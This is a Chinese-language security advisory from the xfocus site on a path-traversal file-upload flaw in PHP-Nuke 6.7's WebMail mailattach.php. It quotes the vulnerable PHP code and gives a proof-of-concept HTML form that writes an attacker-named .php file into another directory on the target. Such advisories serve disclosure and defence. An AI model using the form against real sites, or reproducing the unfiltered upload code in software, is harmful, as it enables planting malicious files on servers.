xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

PHP-Nuke mailattach.php远程文件上串漏洞


发布时间:2003-10-04
更新时间:2003-10-04
严重程度:
威胁程度:其它
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:8764

受影响系统
Francisco Burzi PHP-Nuke 6.7
详细描述
PHP-Nuke mailattach.php脚本包含如下代码:

modules/WebMail/mailattach.php :
----------------------------------------------------------------------------------
---------------------------------

if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
    if (ini_get(file_uploads) AND $attachments == 1) {
    $updir = "tmp";
    @copy($userfile, "$updir/$userfile_name");
    @unlink($userfile);
    }
}

----------------------------------------------------------------------------------
---------------------------------

由于对userfile_name参数缺少过滤,可导致攻击者传递任意文件到服务器上,可覆盖文件或把敏感文件存放在任意系统位置。

测试代码
<form
action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php"

method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile"><br>
<input type="submit" name="Send File>
</form>

解决方案
尚无

相关信息
参考:http://www.securityfocus.com/archive/1/340245
相关主页:http://phpnuke.org/